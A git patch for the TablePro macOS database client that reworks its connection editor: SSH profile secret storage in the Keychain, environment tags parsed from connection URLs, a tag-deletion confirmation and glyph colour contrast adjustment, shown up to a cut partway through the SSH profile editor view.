From 23df72c7e6adee0b6630a63f0185fe7276d7a3e0 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Sun, 22 Nov 2026 20:02:36 +0700 Subject: [PATCH 01/13] wip(connection-editor): wave 1 engine, store, sheets, welcome --- .../Core/Plugins/DatabaseType+Registry.swift | 4 +- .../Core/Storage/SSHProfileStorage.swift | 204 ++++-- .../Connection/ConnectionURLParser.swift | 20 + .../Connection/ConnectionEnvironment.swift | 37 +- .../Connection/ConnectionTunnelKind.swift | 6 +- .../Connection/ConnectionTagEditor.swift | 37 +- .../Views/Connection/ConnectionTileView.swift | 85 ++- .../Connection/SSHProfileEditorView.swift | 225 ++++--- .../DatabaseTypeChooserModel.swift | 63 +- .../DatabaseTypeChooserSheet.swift | 13 +- .../Engine/ConnectionDraft+Load.swift | 208 ++++++ .../Engine/ConnectionDraft+Mutations.swift | 159 +++++ .../Engine/ConnectionDraft+Retype.swift | 172 +++++ .../Engine/ConnectionDraft+Transports.swift | 185 ++++++ .../Engine/ConnectionDraft+URLImport.swift | 253 ++++++++ .../Engine/ConnectionDraft.swift | 129 ++++ .../Engine/ConnectionEditorEngine+Edits.swift | 243 +++++++ .../ConnectionEditorEngine+Issues.swift | 360 ++++++++++ .../ConnectionEditorEngine+Layout.swift | 613 ++++++++++++++++++ .../Engine/ConnectionEditorEngine.swift | 278 ++++++++ .../Engine/ConnectionFacet.swift | 45 ++ .../Engine/ConnectionTypeTraits.swift | 172 +++++ .../ConnectionForm/Engine/EditorLayout.swift | 306 +++++++++ .../Engine/SecretWritePlan.swift | 150 +++++ .../ConnectionEditorStore+Cloudflare.swift | 94 +++ .../Store/ConnectionEditorStore+Delete.swift | 88 +++ .../Store/ConnectionEditorStore+Edits.swift | 513 +++++++++++++++ .../Store/ConnectionEditorStore+Load.swift | 308 +++++++++ .../Store/ConnectionEditorStore+Save.swift | 242 +++++++ .../Store/ConnectionEditorStore+Test.swift | 389 +++++++++++ .../Store/ConnectionEditorStore+URL.swift | 137 ++++ .../Store/ConnectionEditorStore.swift | 255 ++++++++ .../Support/ConnectionFormEdits.swift | 54 ++ .../CredentialProfileEditorSheet.swift | 320 ++++++--- .../Views/Welcome/WelcomeOutlineRows.swift | 30 +- .../Welcome/WelcomeRowPresentation.swift | 30 +- .../Storage/SSHProfileSecretSaveTests.swift | 147 +++++ .../Core/Storage/StoredSecretDraftTests.swift | 69 ++ .../ConnectionEnvironmentTests.swift | 64 ++ .../ConnectionTileGlyphColorTests.swift | 81 +++ .../DatabaseTypeInstallCheckTests.swift | 26 + .../Engine/ConnectionDraftRetypeTests.swift | 116 ++++ .../ConnectionDraftURLImportTests.swift | 148 +++++ .../ConnectionEditorEngineEditsTests.swift | 131 ++++ .../ConnectionEditorEngineFacetTests.swift | 114 ++++ .../ConnectionEditorEngineIssueTests.swift | 183 ++++++ .../ConnectionFormEditsMergeTests.swift | 260 ++++++++ .../Engine/SecretWritePlanTests.swift | 127 ++++ .../Store/ConnectionEditorStoreFixture.swift | 166 +++++ .../Store/ConnectionEditorStoreTests.swift | 396 +++++++++++ .../Profiles/ProfileSecretLayoutTests.swift | 89 +++ .../Welcome/WelcomeRowPresentationTests.swift | 95 ++- 52 files changed, 8341 insertions(+), 298 deletions(-) create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Mutations.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionFacet.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/ConnectionTypeTraits.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Engine/SecretWritePlan.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Cloudflare.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Delete.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Edits.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Load.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Save.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+Test.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore+URL.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Store/ConnectionEditorStore.swift create mode 100644 apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift create mode 100644 apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift create mode 100644 apple/TableProTests/Models/Connection/ConnectionEnvironmentTests.swift create mode 100644 apple/TableProTests/Views/Connection/ConnectionTileGlyphColorTests.swift create mode 100644 apple/TableProTests/Views/Connection/DatabaseTypeInstallCheckTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftRetypeTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionDraftURLImportTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineEditsTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineFacetTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionEditorEngineIssueTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/ConnectionFormEditsMergeTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Engine/SecretWritePlanTests.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift create mode 100644 apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreTests.swift create mode 100644 apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift diff --git a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift index ac55d9e63a..c6c63ac55d 100644 --- a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift +++ b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift @@ -165,8 +165,8 @@ extension DatabaseType { switch rawValue { case "PostgreSQL", "Redshift", "CockroachDB": return String(localized: """ - Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. \ - Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon. + Preferred tries TLS first and connects without it when the server offers none. \ + Use Required for AWS RDS, Cloud SQL, Heroku, Supabase and Neon. """) case "KingbaseES", "StarRocks": return String(localized: "Preferred tries TLS first, falls back to plain.") diff --git a/apple/TablePro/Core/Storage/SSHProfileStorage.swift b/apple/TablePro/Core/Storage/SSHProfileStorage.swift index 455d73840f..71ed992076 100644 --- a/apple/TablePro/Core/Storage/SSHProfileStorage.swift +++ b/apple/TablePro/Core/Storage/SSHProfileStorage.swift @@ -16,6 +16,19 @@ final class SSHProfileStorage { static let shared = SSHProfileStorage() nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "SSHProfileStorage") + enum SecretKind: CaseIterable, Sendable { + case password + case keyPassphrase + case totpSecret + } + + enum SaveOutcome: Equatable, Sendable { + case saved + case recordNotSaved + // The record is on disk; these secrets are not. + case secretsNotSaved([SecretKind]) + } + private let profilesKey = "com.TablePro.sshProfiles" private let defaults: UserDefaults private let encoder = JSONEncoder() @@ -25,9 +38,7 @@ final class SSHProfileStorage { private let syncTracker: SyncChangeTracker private(set) var lastLoadFailed = false - /// The keychain arrives through `AppStorageEnvironment` rather than as `KeychainHelper.shared`, - /// so a sandboxed run keeps its profile secrets inside the sandbox instead of writing them to - /// the real login keychain, exactly as `ConnectionStorage` already does. + // The keychain comes from AppStorageEnvironment so a sandboxed run keeps profile secrets in its sandbox. init( userDefaults: UserDefaults = AppStorageEnvironment.shared.defaults, keychain: any KeychainStoring = AppStorageEnvironment.shared.keychain, @@ -59,8 +70,6 @@ final class SSHProfileStorage { } } - /// Returns `false` when nothing reached disk, so a caller that also writes keychain items or - /// tombstones can abort instead of stranding them against a profile that was never persisted. @discardableResult func saveProfiles(_ profiles: [SSHProfile]) -> Bool { let previous = loadProfiles() @@ -101,15 +110,34 @@ final class SSHProfileStorage { guard let index = profiles.firstIndex(where: { $0.id == profile.id }) else { return false } profiles[index] = profile guard saveProfiles(profiles) else { return false } - /// Best effort, and deliberately not part of the result. The profile is the source of - /// truth and it is saved; a connection whose snapshot could not be rewritten is still - /// resolved against the profile by `refreshingLinkedProfile` at connect time. + // Best effort: a connection the fan-out missed is still resolved against the profile at connect time. if !refreshLinkedConnections(with: profile) { Self.logger.error("Saved SSH profile \(profile.id.uuidString, privacy: .public) but could not update the connections linked to it") } return true } + // Record first: a secret written under an id that never reached disk is one nothing can name. + func save(_ profile: SSHProfile, isNew: Bool, secrets: [SecretKind: StoredSecretDraft.Change]) -> SaveOutcome { + let persisted = isNew ? addProfile(profile) : updateProfile(profile) + guard persisted else { return .recordNotSaved } + + var failed: [SecretKind] = [] + for kind in SecretKind.allCases { + switch secrets[kind] ?? .keep { + case .keep: + continue + case .write(let value): + if !keychain.writeString(value, forKey: Self.key(kind, profile.id)) { + failed.append(kind) + } + case .delete: + keychain.delete(forKey: Self.key(kind, profile.id)) + } + } + return failed.isEmpty ? .saved : .secretsNotSaved(failed) + } + @discardableResult func deleteProfile(_ profile: SSHProfile) -> Bool { var profiles = loadProfiles() @@ -129,12 +157,7 @@ final class SSHProfileStorage { // MARK: - Linked Connections - /// Writes an edited profile's configuration into every connection that links to it. - /// - /// A linked connection stores `.profile(id:snapshot:)`, and that snapshot is what - /// `resolvedSSHConfig` hands to the tunnel, the URL formatter, the display strings and the - /// stage labels. Only the secrets were ever resolved live, so changing a profile's host left - /// every already-linked connection tunnelling to the old one while sending the new password. + // A linked connection tunnels with its stored snapshot, so an edited host has to reach every snapshot. @discardableResult func refreshLinkedConnections(with profile: SSHProfile, byUser: Bool = true) -> Bool { let storage = connectionStorageProvider() @@ -148,11 +171,7 @@ final class SSHProfileStorage { } } - /// The connection as it would be if the fan-out above had already run for it. - /// - /// The fan-out covers an edit made here. This covers the window before one has run: a profile - /// edited on another Mac and synced down, or a connection whose store could not be written. - /// Connecting is the moment the answer has to be right, so it asks the profile directly. + // Covers a profile synced from another Mac before any fan-out ran here. func refreshingLinkedProfile(_ connection: DatabaseConnection) -> DatabaseConnection { guard case .profile(let profileId, _) = connection.sshTunnelMode, let profile = profile(for: profileId) @@ -160,16 +179,8 @@ final class SSHProfileStorage { return profile.applied(to: connection) } - /// Turns every connection pointing at a profile that is going away into an inline tunnel - /// carrying the same configuration, so a delete never leaves a connection addressing a profile - /// id that no longer resolves. - /// - /// The configuration comes from the profile as it stands now, never from the connection's - /// stored snapshot: a snapshot the fan-out never reached is stale, and converting that one - /// while handing over the profile's current password would send new credentials to the old - /// server. Returns false without changing anything when the secrets cannot be moved, because a - /// connection converted without them cannot authenticate and there is nothing left to recover - /// them from once the profile is deleted. + // Converts from the profile as it stands, never the snapshot: a stale snapshot would send new + // credentials to the old server. Refuses when the secrets cannot move, since nothing could recover them. @discardableResult func unlinkConnections(fromProfile profile: SSHProfile) -> Bool { let storage = connectionStorageProvider() @@ -194,10 +205,7 @@ final class SSHProfileStorage { connection.sshProfileId = nil } - /// The copies go back if the conversion did not land. A connection still in profile mode - /// reads its secrets from the profile, so the copy would sit in its inline namespace with - /// nothing reading it. Deleting is safe there because the form already clears that - /// namespace on every save a profile-linked connection makes. + // A connection still on the profile never reads its inline namespace, so the copies go back. if !converted { for connection in linked { storage.deleteSSHPassword(for: connection.id) @@ -208,8 +216,6 @@ final class SSHProfileStorage { return converted } - /// A profile's secrets on their way into a connection's own keychain namespace, which is where - /// an inline tunnel reads them from. private struct ProfileSecrets { let password: String? let keyPassphrase: String? @@ -224,43 +230,41 @@ final class SSHProfileStorage { } } - private enum SecretRead { - case readable(String?) - case unreadable - } - - /// Nil when any of the three could not be read. A profile that simply has none reads as three - /// nils, which is correct for agent and keyless authentication. + // Nil when any secret could not be read; a profile with none reads as three nils. private func readSecrets(for profileId: UUID) -> ProfileSecrets? { - guard case .readable(let password) = readSecret(Self.passwordKey(profileId)), - case .readable(let keyPassphrase) = readSecret(Self.passphraseKey(profileId)), - case .readable(let totpSecret) = readSecret(Self.totpKey(profileId)) - else { return nil } - return ProfileSecrets(password: password, keyPassphrase: keyPassphrase, totpSecret: totpSecret) - } - - private func readSecret(_ key: String) -> SecretRead { - switch keychain.readStringResult(forKey: key) { - case .found(let value): - return .readable(value.isEmpty ? nil : value) - case .notFound: - return .readable(nil) - case .locked, .userCancelled, .authFailed, .error: - return .unreadable + var values: [SecretKind: String] = [:] + for kind in SecretKind.allCases { + switch storedSecret(kind, for: profileId) { + case .unreadable: + return nil + case .absent: + continue + case .value(let value): + values[kind] = value + } } + return ProfileSecrets( + password: values[.password], + keyPassphrase: values[.keyPassphrase], + totpSecret: values[.totpSecret] + ) + } + + func storedSecret(_ kind: SecretKind, for profileId: UUID) -> StoredSecretDraft.Stored { + StoredSecretDraft.Stored(keychain.readStringResult(forKey: Self.key(kind, profileId))) } - /// Every keychain item this type writes, removed together. A key written here and missing from - /// this list is a secret that outlives its owner with nothing left that can name it. + // Every item this type writes: a key missing here outlives its owner with nothing left to name it. func deleteSecrets(for profileId: UUID) { - deleteSSHPassword(for: profileId) - deleteKeyPassphrase(for: profileId) - deleteTOTPSecret(for: profileId) + for kind in SecretKind.allCases { + keychain.delete(forKey: Self.key(kind, profileId)) + } } // MARK: - SSH Password Storage - func saveSSHPassword(_ password: String, for profileId: UUID) { + @discardableResult + func saveSSHPassword(_ password: String, for profileId: UUID) -> Bool { keychain.writeString(password, forKey: Self.passwordKey(profileId)) } @@ -274,7 +278,8 @@ final class SSHProfileStorage { // MARK: - Key Passphrase Storage - func saveKeyPassphrase(_ passphrase: String, for profileId: UUID) { + @discardableResult + func saveKeyPassphrase(_ passphrase: String, for profileId: UUID) -> Bool { keychain.writeString(passphrase, forKey: Self.passphraseKey(profileId)) } @@ -292,7 +297,8 @@ final class SSHProfileStorage { // MARK: - TOTP Secret Storage - func saveTOTPSecret(_ secret: String, for profileId: UUID) { + @discardableResult + func saveTOTPSecret(_ secret: String, for profileId: UUID) -> Bool { keychain.writeString(secret, forKey: Self.totpKey(profileId)) } @@ -304,6 +310,14 @@ final class SSHProfileStorage { keychain.delete(forKey: Self.totpKey(profileId)) } + private static func key(_ kind: SecretKind, _ profileId: UUID) -> String { + switch kind { + case .password: passwordKey(profileId) + case .keyPassphrase: passphraseKey(profileId) + case .totpSecret: totpKey(profileId) + } + } + private static func passwordKey(_ profileId: UUID) -> String { "com.TablePro.sshprofile.password.\(profileId.uuidString)" } @@ -321,3 +335,63 @@ final class SSHProfileStorage { .value(label: "\(label) (profileId=\(profileId.uuidString))", logger: Self.logger) } } + +// A secret as the Keychain returned it and as the user left it, so a failed read never becomes a delete. +struct StoredSecretDraft: Equatable, Sendable { + enum Stored: Equatable, Sendable { + case absent + case value(String) + case unreadable + + init(_ result: KeychainStringResult) { + switch result { + case .found(let value): self = value.isEmpty ? .absent : .value(value) + case .notFound: self = .absent + case .locked, .userCancelled, .authFailed, .error: self = .unreadable + } + } + } + + enum Change: Equatable, Sendable { + case keep + case write(String) + case delete + } + + let stored: Stored + var text: String + var removesUnreadable = false + + init(stored: Stored, fallback: String? = nil) { + self.stored = stored + if case .value(let value) = stored { + text = value + } else { + text = fallback ?? "" + } + } + + var showsUnreadableNotice: Bool { + stored == .unreadable && text.isEmpty + } + + // Whether a Keychain item will exist for this secret after the change runs. + func keepsItem(inUse: Bool) -> Bool { + switch change(inUse: inUse) { + case .write: true + case .delete: false + case .keep: stored != .absent + } + } + + func change(inUse: Bool) -> Change { + if inUse, !text.isEmpty { + return stored == .value(text) ? .keep : .write(text) + } + switch stored { + case .absent: return .keep + case .value: return .delete + case .unreadable: return removesUnreadable ? .delete : .keep + } + } +} diff --git a/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift b/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift index bc10fa674d..b33ba2524e 100644 --- a/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift +++ b/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift @@ -43,6 +43,10 @@ struct ParsedConnectionURL { let multiHost: String? let additionalFields: [String: String] + var environment: ConnectionEnvironment? { + envTag.flatMap(ConnectionURLParser.environment(named:)) + } + var localSocketPath: String? { MySQLLocalSocket.path(in: additionalFields) } @@ -1051,6 +1055,22 @@ struct ConnectionURLParser { return bestColor } + // `env=` names the connection's environment; a name that is none of them leaves it unset. + internal static func environment(named name: String) -> ConnectionEnvironment? { + switch name.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() { + case "production", "prod": + return .production + case "staging", "stage": + return .staging + case "development", "dev": + return .development + case "local": + return .local + default: + return nil + } + } + @MainActor internal static func tagId(fromEnvName name: String) -> UUID? { let tags = TagStorage.shared.loadTags() return tags.first(where: { $0.name.lowercased() == name.lowercased() })?.id diff --git a/apple/TablePro/Models/Connection/ConnectionEnvironment.swift b/apple/TablePro/Models/Connection/ConnectionEnvironment.swift index 88409babe7..cce316fb9d 100644 --- a/apple/TablePro/Models/Connection/ConnectionEnvironment.swift +++ b/apple/TablePro/Models/Connection/ConnectionEnvironment.swift @@ -3,13 +3,9 @@ // TablePro // -import Foundation +import SwiftUI -/// A connection's deployment environment, shown on the identity row so production stands apart from -/// a scratch database at a glance. -/// -/// Stored as the app-managed `additionalFields["environment"]` key, so it rides the connection's -/// existing synced field set rather than a new CloudKit field. +// Stored as the app-managed `additionalFields["environment"]` key, so it syncs with the existing field set. enum ConnectionEnvironment: String, CaseIterable, Identifiable, Sendable { case none case production @@ -19,6 +15,11 @@ enum ConnectionEnvironment: String, CaseIterable, Identifiable, Sendable { static let fieldKey = "environment" + // A value from a newer release, or a hand-edited file, shows as no environment. + static func stored(in fields: [String: String]?) -> ConnectionEnvironment { + fields?[fieldKey].flatMap(ConnectionEnvironment.init(rawValue:)) ?? .none + } + var id: String { rawValue } var displayName: String { @@ -31,14 +32,34 @@ enum ConnectionEnvironment: String, CaseIterable, Identifiable, Sendable { } } - /// An SF Symbol, never a bare coloured dot: the platform's own vocabulary for status. + // Production avoids the triangle: a row's failed status and missing driver already draw it. var symbolName: String? { switch self { case .none: return nil - case .production: return "exclamationmark.triangle.fill" + case .production: return "flame.fill" case .staging: return "testtube.2" case .development: return "hammer.fill" case .local: return "laptopcomputer" } } + + var tint: Color { + switch self { + case .production: return .red + case .staging: return .orange + case .development: return .green + case .local, .none: return .secondary + } + } + + // "Local" alone would read like the row's "Local only" sync flag. + var accessibilityName: String? { + switch self { + case .none: return nil + case .production: return String(localized: "Production environment") + case .staging: return String(localized: "Staging environment") + case .development: return String(localized: "Development environment") + case .local: return String(localized: "Local environment") + } + } } diff --git a/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift b/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift index a84a4cd4ff..6929314647 100644 --- a/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift +++ b/apple/TablePro/Models/Connection/ConnectionTunnelKind.swift @@ -98,12 +98,12 @@ enum ConnectionTunnelKind: String, CaseIterable, Sendable { return String(localized: "Opens the database file on this Mac.") } if localSocketSkipsTLS { - return String(localized: "Connects through the socket on the General tab. PostgreSQL sends no SSL over a socket, which stays on this Mac.") + return String(localized: "Connects through the socket set in General. PostgreSQL sends no SSL over a socket, which stays on this Mac.") } if usesLocalSocket { - return String(localized: "Connects through the socket file on the General tab.") + return String(localized: "Connects through the socket file set in General.") } - return String(localized: "Connects straight to the host and port on the General tab.") + return String(localized: "Connects straight to the host and port set in General.") } } diff --git a/apple/TablePro/Views/Connection/ConnectionTagEditor.swift b/apple/TablePro/Views/Connection/ConnectionTagEditor.swift index 60080cbf2a..a5913ffa82 100644 --- a/apple/TablePro/Views/Connection/ConnectionTagEditor.swift +++ b/apple/TablePro/Views/Connection/ConnectionTagEditor.swift @@ -13,6 +13,7 @@ struct ConnectionTagEditor: View { @Binding var tagIds: [UUID] @State private var allTags: [ConnectionTag] = [] @State private var showingCreateSheet = false + @State private var pendingDeletion: TagDeletion? private let tagStorage = TagStorage.shared private static let logger = Logger(subsystem: "com.TablePro", category: "ConnectionTagEditor") @@ -39,6 +40,23 @@ struct ConnectionTagEditor: View { toggleOn(tag.id) } } + .alert( + pendingDeletion.map { String(format: String(localized: "Delete the tag “%@”?"), $0.tag.name) } ?? "", + isPresented: Binding( + get: { pendingDeletion != nil }, + set: { if !$0 { pendingDeletion = nil } } + ), + presenting: pendingDeletion + ) { deletion in + Button(String(localized: "Delete"), role: .destructive) { deleteTag(deletion.tag) } + Button(String(localized: "Cancel"), role: .cancel) {} + } message: { deletion in + if deletion.connectionCount > 0 { + Text("It is removed from ^[\(deletion.connectionCount) connection](inflect: true). This cannot be undone.") + } else { + Text("No saved connection uses it. This cannot be undone.") + } + } } // Resolves against the store as it is now: another window or iCloud may have added a tag since @@ -102,9 +120,9 @@ struct ConnectionTagEditor: View { Menu("Manage Tags") { ForEach(allTags.filter { !$0.isPreset }) { tag in Button(role: .destructive) { - deleteTag(tag) + confirmDeletion(of: tag) } label: { - Label("Delete \"\(tag.name)\"", systemImage: "trash") + Label("Delete “\(tag.name)”…", systemImage: "trash") } } } @@ -138,6 +156,12 @@ struct ConnectionTagEditor: View { tagIds = ids } + // The tag goes from every connection at once and Cancel in the editor cannot bring it back. + private func confirmDeletion(of tag: ConnectionTag) { + let count = ConnectionStorage.shared.loadConnections().filter { $0.tagIds.contains(tag.id) }.count + pendingDeletion = TagDeletion(tag: tag, connectionCount: count) + } + private func deleteTag(_ tag: ConnectionTag) { tagIds = tagIds.filter { $0 != tag.id } tagStorage.deleteTag(tag, clearingFrom: .shared) @@ -154,6 +178,11 @@ struct ConnectionTagEditor: View { } } +private struct TagDeletion { + let tag: ConnectionTag + let connectionCount: Int +} + // MARK: - Create Tag Sheet private struct CreateTagSheet: View { @@ -161,9 +190,7 @@ private struct CreateTagSheet: View { @State private var tagName: String = "" @State private var tagColor: ConnectionColor = .gray @State private var errorMessage: String? - /// Throwing, because the library refuses a name it already holds. A sheet that dismissed on the - /// attempt applied the tag that was already there, with its colour rather than the one just - /// picked, and said nothing about the difference. + // Throws on a name the library holds, so the sheet stays open instead of applying the old tag's colour. let onSave: (String, ConnectionColor) throws -> Void var body: some View { diff --git a/apple/TablePro/Views/Connection/ConnectionTileView.swift b/apple/TablePro/Views/Connection/ConnectionTileView.swift index fad3cb4973..415faa320a 100644 --- a/apple/TablePro/Views/Connection/ConnectionTileView.swift +++ b/apple/TablePro/Views/Connection/ConnectionTileView.swift @@ -19,6 +19,87 @@ internal enum ConnectionTileMetrics { internal static func glyphPointSize(for size: CGFloat) -> CGFloat { size * 0.5 } + + // WCAG's floor for a graphic. Brand hues are picked for a white page, so several (PostgreSQL's + // blue, Kafka's near black) sit under it on the dark tile. + internal static let minimumGlyphContrast: CGFloat = 3 + + // The brand colour in Light Mode; in Dark Mode the same hue lifted until it clears the tile. + internal static func glyphColor(brand: NSColor) -> NSColor { + NSColor(name: nil) { appearance in + guard appearance.isDarkTheme else { return brand } + var lifted = brand + appearance.performAsCurrentDrawingAppearance { + lifted = liftedGlyph(brand, onTileLuminance: tileLuminance()) + } + return lifted + } + } + + // The tile as it draws: quaternaryLabelColor over the window background, in the current appearance. + internal static func tileLuminance() -> CGFloat { + guard let tile = NSColor.quaternaryLabelColor.usingColorSpace(.sRGB), + let base = NSColor.windowBackgroundColor.usingColorSpace(.sRGB) + else { return 0 } + let alpha = tile.alphaComponent + let composite = NSColor( + srgbRed: tile.redComponent * alpha + base.redComponent * (1 - alpha), + green: tile.greenComponent * alpha + base.greenComponent * (1 - alpha), + blue: tile.blueComponent * alpha + base.blueComponent * (1 - alpha), + alpha: 1 + ) + return composite.relativeLuminance + } + + internal static func contrast(_ first: CGFloat, _ second: CGFloat) -> CGFloat { + (max(first, second) + 0.05) / (min(first, second) + 0.05) + } + + // Raises brightness first, which keeps hue and saturation; only a hue too dark at full brightness + // (pure blue) also gives up saturation. + internal static func liftedGlyph(_ color: NSColor, onTileLuminance tile: CGFloat) -> NSColor { + guard let srgb = color.usingColorSpace(.sRGB) else { return color } + func passes(_ candidate: NSColor) -> Bool { + contrast(candidate.relativeLuminance, tile) >= minimumGlyphContrast + } + guard !passes(srgb) else { return color } + + var hue: CGFloat = 0 + var saturation: CGFloat = 0 + var brightness: CGFloat = 0 + var alpha: CGFloat = 0 + srgb.getHue(&hue, saturation: &saturation, brightness: &brightness, alpha: &alpha) + + let bright = NSColor(hue: hue, saturation: saturation, brightness: 1, alpha: alpha) + if passes(bright) { + var failing = brightness + var passing: CGFloat = 1 + for _ in 0 ..< liftSteps { + let middle = (failing + passing) / 2 + if passes(NSColor(hue: hue, saturation: saturation, brightness: middle, alpha: alpha)) { + passing = middle + } else { + failing = middle + } + } + return NSColor(hue: hue, saturation: saturation, brightness: passing, alpha: alpha) + } + + var passing: CGFloat = 0 + var failing = saturation + for _ in 0 ..< liftSteps { + let middle = (failing + passing) / 2 + if passes(NSColor(hue: hue, saturation: middle, brightness: 1, alpha: alpha)) { + passing = middle + } else { + failing = middle + } + } + return NSColor(hue: hue, saturation: passing, brightness: 1, alpha: alpha) + } + + // Enough halvings to land inside a step no 8-bit channel can express. + private static let liftSteps = 12 } // AppKit twin of `ConnectionTile`: the rail is an `NSTableView` whose cells are `NSTableCellView`s, @@ -124,7 +205,9 @@ internal final class ConnectionTileView: NSView { if let identityColor { glyph.contentTintColor = NSColor(Color.legibleForeground(on: identityColor.color)) } else { - glyph.contentTintColor = isEmphasized ? .alternateSelectedControlTextColor : brandColor + glyph.contentTintColor = isEmphasized + ? .alternateSelectedControlTextColor + : ConnectionTileMetrics.glyphColor(brand: brandColor) } } } diff --git a/apple/TablePro/Views/Connection/SSHProfileEditorView.swift b/apple/TablePro/Views/Connection/SSHProfileEditorView.swift index b989517cf0..4bdbf914ac 100644 --- a/apple/TablePro/Views/Connection/SSHProfileEditorView.swift +++ b/apple/TablePro/Views/Connection/SSHProfileEditorView.swift @@ -24,14 +24,14 @@ struct SSHProfileEditorView: View { @State private var username: String = "" @State private var authMethod: SSHAuthMethod = .password - @State private var sshPassword: String = "" + @State private var password = StoredSecretDraft(stored: .absent) @State private var privateKeyPath: String = "" - @State private var keyPassphrase: String = "" + @State private var keyPassphrase = StoredSecretDraft(stored: .absent) @State private var agentSocketOption: SSHAgentSocketOption = .systemDefault @State private var customAgentSocketPath: String = "" @State private var totpMode: TOTPMode = .none - @State private var totpSecret: String = "" + @State private var totpSecret = StoredSecretDraft(stored: .absent) @State private var totpAlgorithm: TOTPAlgorithm = .sha1 @State private var totpDigits: Int = 6 @State private var totpPeriod: Int = 30 @@ -41,6 +41,8 @@ struct SSHProfileEditorView: View { @State private var sshConfigEntries: [SSHConfigEntry] = [] @State private var selectedSSHConfigHost: String = "" + // Read once on appear: the profiles live in UserDefaults and body runs on every keystroke. + @State private var isStored = false @State private var showingDeleteConfirmation = false @State private var saveError: String? @State private var connectionsUsingProfile = 0 @@ -49,10 +51,7 @@ struct SSHProfileEditorView: View { @State private var testError: String? @State private var testTask: Task? - private var isStoredProfile: Bool { - guard let profile = existingProfile else { return false } - return SSHProfileStorage.shared.profile(for: profile.id) != nil - } + private var storage: SSHProfileStorage { .shared } private var isValid: Bool { let nameValid = !profileName.trimmingCharacters(in: .whitespaces).isEmpty @@ -68,8 +67,18 @@ struct SSHProfileEditorView: View { agentSocketOption.resolvedPath(customPath: customAgentSocketPath) } + private var usesPassword: Bool { + authMethod == .password || authMethod == .keyboardInteractive + } + var body: some View { VStack(spacing: 0) { + ProfileSheetHeader( + title: isStored ? String(localized: "Edit SSH Profile") : String(localized: "New SSH Profile"), + subtitle: String(localized: "Connections that use this profile reach their database through this SSH server.") + ) + Divider() + Form { Section(String(localized: "Profile")) { TextField(String(localized: "Name"), text: $profileName, prompt: Text("My Server")) @@ -89,7 +98,7 @@ struct SSHProfileEditorView: View { Divider() bottomBar } - .frame(minWidth: 480, idealHeight: 500) + .frame(minWidth: 520, minHeight: 440, idealHeight: 560) .onAppear { loadExistingProfile() } @@ -101,13 +110,13 @@ struct SSHProfileEditorView: View { .onChange(of: port) { _ in testSucceeded = false } .onChange(of: username) { _ in testSucceeded = false } .onChange(of: authMethod) { _ in testSucceeded = false } - .onChange(of: sshPassword) { _ in testSucceeded = false } + .onChange(of: password.text) { _ in testSucceeded = false } .onChange(of: privateKeyPath) { _ in testSucceeded = false } - .onChange(of: keyPassphrase) { _ in testSucceeded = false } + .onChange(of: keyPassphrase.text) { _ in testSucceeded = false } .onChange(of: agentSocketOption) { _ in testSucceeded = false } .onChange(of: customAgentSocketPath) { _ in testSucceeded = false } .onChange(of: totpMode) { _ in testSucceeded = false } - .onChange(of: totpSecret) { _ in testSucceeded = false } + 